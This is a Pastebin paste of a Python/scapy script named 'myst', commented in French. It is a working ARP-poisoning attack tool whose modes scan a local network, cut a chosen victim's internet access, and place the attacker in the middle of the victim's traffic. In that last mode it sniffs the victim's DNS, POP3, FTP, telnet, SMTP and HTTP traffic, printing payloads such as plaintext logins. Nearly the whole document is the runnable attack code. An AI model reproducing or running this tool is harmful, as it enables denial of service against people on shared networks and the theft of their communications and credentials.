Advertisement
Guest User

Untitled

a guest
Feb 12th, 2015
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.21 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: UTF8 -*-
  3.  
  4. ########################
  5. # Sources
  6. ########################
  7.  
  8. # scapy http://www.secdev.org/projects/scapy/
  9. # sslstip http://www.thoughtcrime.org/software/sslstrip/
  10. # RFC 826 https://tools.ietf.org/html/rfc826
  11. #
  12. # http://libpfb.so/uploads/media/Cours_scapy.pdf <-- EXCELENT
  13. # https://theitgeekchronicles.files.wordpress.com/2012/05/scapyguide1.pdf
  14. # http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/ <--- IMPORTANT
  15. # http://webstersprodigy.net/2012/07/06/some-practical-arp-poison-attacks-with-scapy-iptables-and-burp/
  16. # http://www.networksorcery.com/enp/protocol/arp.htm
  17. # http://cruft.blogspot.fr/2009/01/arp-ping-using-scapy.html
  18. # http://www.secdev.org/projects/scapy/build_your_own_tools.html
  19. # http://thepacketgeek.com/scapy-p-10-emulating-nmap-functions/
  20. # http://stackoverflow.com/questions/2761829/python-get-default-gateway-for-a-local-interface-ip-address-in-linux
  21. # http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack/
  22.  
  23. ###########################
  24. # Rappels des principaux flags TCP (qui apparaissent dans le summary des paquets)
  25. ###########################
  26.  
  27. # URG : Signale la présence de données urgentes
  28. # ACK : signale que le paquet est un accusé de réception (acknowledgement)
  29. # PSH : données à envoyer tout de suite (push)
  30. # RST : rupture anormale de la connexion (reset)
  31. # SYN : demande de synchronisation (SYN) ou établissement de connexion
  32. # FIN : demande la FIN de la connexion
  33.  
  34.  
  35. #########################
  36. # Pre Requis
  37. #########################
  38.  
  39. # tcpdump
  40. # python-scapy
  41. # tcpflow
  42. # gupnp-tools
  43.  
  44. #########################
  45. # Procedures et fonctions
  46. #########################
  47.  
  48. import sys, getopt, os, logging, time, threading, signal
  49. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  50. from scapy.all import *
  51. #from scapy.utils import PcapWriter
  52. conf.verb=0
  53.  
  54. capfile = "./myst_tmp.pcap"
  55. scanfile = "./myst_tmp.txt"
  56. version="0.1"
  57.  
  58. # --------------------
  59.  
  60. def usage():
  61. print ("\nmyst " + version)
  62. print ("Usage: Choose one of the three folowing modes :\n")
  63. print ("myst -s SCAN network")
  64. print ("myst -k target_IP KILL Internet access for target")
  65. print ("myst -w target_IP WATCH activity of target")
  66. print (" ")
  67. print ("Options:\n")
  68. print ("-i , --int Interface (default eth0)")
  69. print ("-d , --decode store and decode http (watch mode only)")
  70. print ("-a , --answers also print answers from servers (watch mode only)")
  71. print ("-h , --help Print this help message.\n")
  72.  
  73. # --------------------
  74.  
  75. def parseOptions(argv):
  76.  
  77. # Valeurs par defaut
  78. interface = "none"
  79. target = "0.0.0.0"
  80. mode = "none"
  81. decode = "no"
  82. answers = "no"
  83.  
  84. try:
  85. # Note pour la syntaxe, un ':' après la lettre signifie que l'option attend un argument
  86. opts, args = getopt.getopt(argv, "hi:k:sw:da",["help","int=","kill=","scan","watch=","decode","answers"])
  87.  
  88. for opt, arg in opts:
  89. if opt in ("-h", "--help"):
  90. usage()
  91. sys.exit()
  92. elif opt in ("-i", "--int"):
  93. interface = arg
  94. elif opt in ("-k", "--kill"):
  95. mode = "kill"
  96. target = arg
  97. elif opt in ("-s", "--scan"):
  98. mode = "scan"
  99. elif opt in ("-w", "--watch"):
  100. mode = "watch"
  101. target = arg
  102. elif opt in ("-d", "--decode"):
  103. decode = "yes"
  104. elif opt in ("-a", "--answers"):
  105. answers = "yes"
  106.  
  107. return (interface,mode,target,decode,answers)
  108.  
  109. except getopt.GetoptError:
  110. usage()
  111. sys.exit(2)
  112.  
  113. # --------------------
  114.  
  115. def guess_interface():
  116. return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $8}'", "r").read().strip()
  117.  
  118. # --------------------
  119.  
  120. def get_default_gateway():
  121. return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'", "r").read().strip()
  122.  
  123. # ---------------------
  124.  
  125. def get_ip_and_mask(interface):
  126. return os.popen("/sbin/ip a s | grep inet | grep " + interface +" | awk '{print $2}'", "r").read().strip()
  127.  
  128. # --------------------
  129.  
  130. def disable_routing():
  131. file = open("/proc/sys/net/ipv4/ip_forward", "w")
  132. file.write("0\n")
  133. file.close()
  134.  
  135. # --------------------
  136.  
  137. def enable_routing():
  138. file = open("/proc/sys/net/ipv4/ip_forward", "w")
  139. file.write("1\n")
  140. file.close()
  141.  
  142. # --------------------
  143.  
  144. def poison(own_mac,target_mac,target_ip,gateway_ip,mode): # mode : request ou reply
  145.  
  146. myarp = Ether()/ARP()
  147.  
  148. if ( mode == 2 ):
  149.  
  150. # Creation et envoi d'un paquet ARP (reply)
  151.  
  152. myarp.dst = target_mac # On envoi une réponse arp à la victime (target mac)
  153. myarp.src = own_mac # Le paquet vient de la la MAC Addresse de l'attaquant
  154. myarp.op = 2 # Ce paquet est une réponse ARP
  155. myarp.hwsrc = own_mac # qui indique que la MAC addresse de l'attaquant
  156. myarp.psrc = gateway_ip # correspond à l'ip du routeur
  157.  
  158. elif ( mode == 1 ):
  159.  
  160. # Lors d'une demande (op=1), l'ordinateur qui reçoit le paquet en
  161. # proffite aussi pour mettre sa propre table un jour.
  162.  
  163. myarp.dst = target_mac # Adresse MAC de la victime (Mais une véritable demande serait envoyée en broadwast)
  164. myarp.src = own_mac # Adresse MAC de l'attaquant qui se fait passer pour le routeur
  165. myarp.op = 1 # Il s'agit d'une demande
  166. myarp.psrc = gateway_ip # IP du routeur (que la victime va associer à notre MAC adresse)
  167. myarp.hwdst = '00:00:00:00:00:00' # On n'est pas censé connaitre la MAC de la victime, c'est ce qu'on demande !
  168. myarp.pdst = target_ip # IP de la victime (dont on prétend chercher la MAC adresse)
  169.  
  170. while (1):
  171. #print (myarp.show())
  172. sendp (myarp)
  173. time.sleep (1)
  174.  
  175. # ---------------------
  176.  
  177. def unpoison():
  178.  
  179. # Remise en etat de la table arp de la victime
  180. myarp = Ether(src=gateway_mac)/ARP(op=1, psrc=gateway_ip, pdst=target_ip, hwsrc=gateway_mac )
  181. sendp (myarp,count=3)
  182.  
  183. # Remise en etat de la table arp de la gateway
  184. myarp = Ether(src=target_mac)/ARP(op=1, psrc=target_ip, pdst=gateway_ip, hwsrc=target_mac )
  185. sendp (myarp,count=3)
  186.  
  187. # ---------------------
  188.  
  189. def signal_handler(signal, frame):
  190.  
  191. if ( mode == "scan" ):
  192. os._exit(0) # Methode crade qui quitte immediatement
  193.  
  194. elif ( mode == "kill" ):
  195. poison_victim._Thread__stop()
  196. unpoison()
  197. disable_routing()
  198. print ("\nEnd of the attack, cleaning done")
  199. sys.exit(0) # Methode qui fait le ménage (threads, cnx reseaux...)
  200.  
  201. elif ( mode == "watch" ):
  202.  
  203. poison_victim._Thread__stop()
  204. poison_gateway._Thread__stop()
  205. unpoison()
  206. # decodage des paquets captures
  207. if ( decode == "yes" ):
  208. myfile.close()
  209. print ("\n*****************************************************")
  210. print (" HTTP dialogs")
  211. print ("*****************************************************")
  212. infos_file = os.stat(capfile)
  213. if ( infos_file.st_size > 0 ): # Si le fichier n'est pas vide
  214. print(os.popen("tcpflow -c -r " + capfile + " | more","r").read())
  215. else:
  216. print (" No http dialogs found ! \n")
  217. os.remove(capfile)
  218. disable_routing()
  219. print ("\nEnd of the attack, cleaning done")
  220. sys.exit(0)
  221.  
  222. # ---------------------
  223.  
  224. def pcap (packet):
  225.  
  226. if (packet[Ether].dst == own_mac): # Inutile d'afficher le même paquet deux fois (routage...)
  227.  
  228. if packet.haslayer(DNSQR): # Requetes DNS
  229. print (packet.summary())
  230.  
  231. if packet.haslayer(TCP): # Pour les paquets TCP
  232.  
  233. if (packet[TCP].dport == 110 ): # Protocole pop3
  234. print (packet.summary())
  235. print (packet[TCP].payload)
  236.  
  237. if (packet[TCP].dport == 80 ): # Protocole http
  238. print (packet.summary())
  239. if ( decode == "yes" ):
  240. myfile.write(packet)
  241.  
  242. # Ok, La suite est ridicule d'un point de vue programmation, mais cela permetra de
  243. # différencier eventuellement les traitements par la suite
  244.  
  245. if (packet[TCP].dport == 21 ): # Protocole ftp
  246. print (packet[TCP].payload) # Les données passent sur le 20, on ne risque pas de flooder la console
  247.  
  248. if (packet[TCP].dport == 23 ): # Protocole telnet
  249. print (packet[TCP].payload)
  250.  
  251. if (packet[TCP].dport == 25 ): # Protocole smtp
  252. print (packet[TCP].payload)
  253.  
  254. if (packet[IP].dst == target_ip): # Paquet "reponse" (serveur X -> cible)
  255. if (answers == "yes"):
  256. print (packet[TCP].payload)
  257.  
  258.  
  259. ######################
  260. # Tests au lancement
  261. ######################
  262.  
  263. if ( os.getuid() != 0 ):
  264. print ("You need root privileges to use this tool.")
  265. print ("Exiting")
  266. sys.exit(1)
  267.  
  268. if ( len(sys.argv) < 2):
  269. print ("Too few arguments !")
  270. print ("Try using myst -h for help")
  271. sys.exit(1)
  272.  
  273. #######################
  274. # Récupération des parametres
  275. #######################
  276.  
  277. (interface,mode,target_ip,decode,answers) = parseOptions(sys.argv[1:])
  278.  
  279. print ("Guessing values...")
  280.  
  281. target_mac = getmacbyip(target_ip)
  282. if ( interface == "none" ):
  283. interface = guess_interface()
  284. print ("interface : ") + interface
  285. own_mac = get_if_hwaddr(interface)
  286. gateway_ip = get_default_gateway()
  287. gateway_mac = getmacbyip(gateway_ip)
  288. mask = get_ip_and_mask(interface)
  289. own_ip = mask.split('/',1)[0]
  290.  
  291. print ("IP/netmask : ") + mask
  292. print ("gateway : ") + gateway_ip
  293.  
  294. # Ce programme doit s'arreter proprement sur un control-c
  295. signal.signal(signal.SIGINT, signal_handler)
  296.  
  297. if ( mode == "none" ):
  298. print ("Okay but... What do you want to do ?")
  299. print ("Try using myst -h for help")
  300. sys.exit(1)
  301.  
  302. if ( mode == "kill" ):
  303. print ("Initializing the attack...")
  304. disable_routing()
  305. poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2))
  306. poison_victim.start()
  307. # NB : Dans ce cas, on peut laisser la table arp de la gateway tranquille...
  308. print ("Target " + target_ip + " have no more access to the net")
  309. print ("Press CTRL-C to stop the attack")
  310. while (1):
  311. time.sleep(1) # on ne fait rien d'autre que d'attendre le CtrlC, pendant que le thread attaque.
  312.  
  313. if ( mode == "scan" ):
  314. print ("Scan will take less than 10 seconds. Please be patient.")
  315. os.system("gssdp-discover -i " + interface + " --timeout 4 | grep 'Location:' | cut -d ':' -f 2- | sort -u > " + scanfile)
  316. rep,sans_rep=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=mask),timeout=3)
  317. print (str(len(rep)) + " hosts founds :")
  318. for send,rcv in rep:
  319. url = "?"
  320. for line in open(scanfile):
  321. if rcv.psrc + ':' in line:
  322. url = line
  323. break
  324. print (rcv.psrc + "\t" + url.strip())
  325. os.remove(scanfile)
  326. sys.exit(0)
  327.  
  328. if ( mode == "watch" ):
  329.  
  330. # Filtre principale de capture (on ne s'interesse qu'a ce qui concerne la cible)
  331. myfilter="host " + target_ip
  332. print ("\nInitializing the attack...")
  333. print ("(Listening for DNS, POP3, SMTP, TELNET, FTP and HTTP trafic)")
  334. enable_routing()
  335. poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2))
  336. poison_victim.start()
  337. poison_gateway = threading.Thread(None, poison, None, (own_mac,gateway_mac,gateway_ip,target_ip,2))
  338. poison_gateway.start()
  339. print ("Watching target ") + target_ip
  340. if ( decode == "yes" ):
  341. # On s'assure que le fichier de capture http soit vide
  342. myfile = open(capfile, "w")
  343. myfile.close
  344. myfile = PcapWriter(capfile, append=True, sync=False) # sync : Ecriture asyncrhone (utilisation d'un buffer)
  345. print ("Please note that the detail of http traffic will only appear AT THE END of the capture")
  346. print ("(need decoding / ungzip / follow stream using tcpflow)")
  347. print ("Press CTRL-C to stop the attack")
  348. sniff(filter=myfilter, iface=interface, store=0, prn=pcap)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement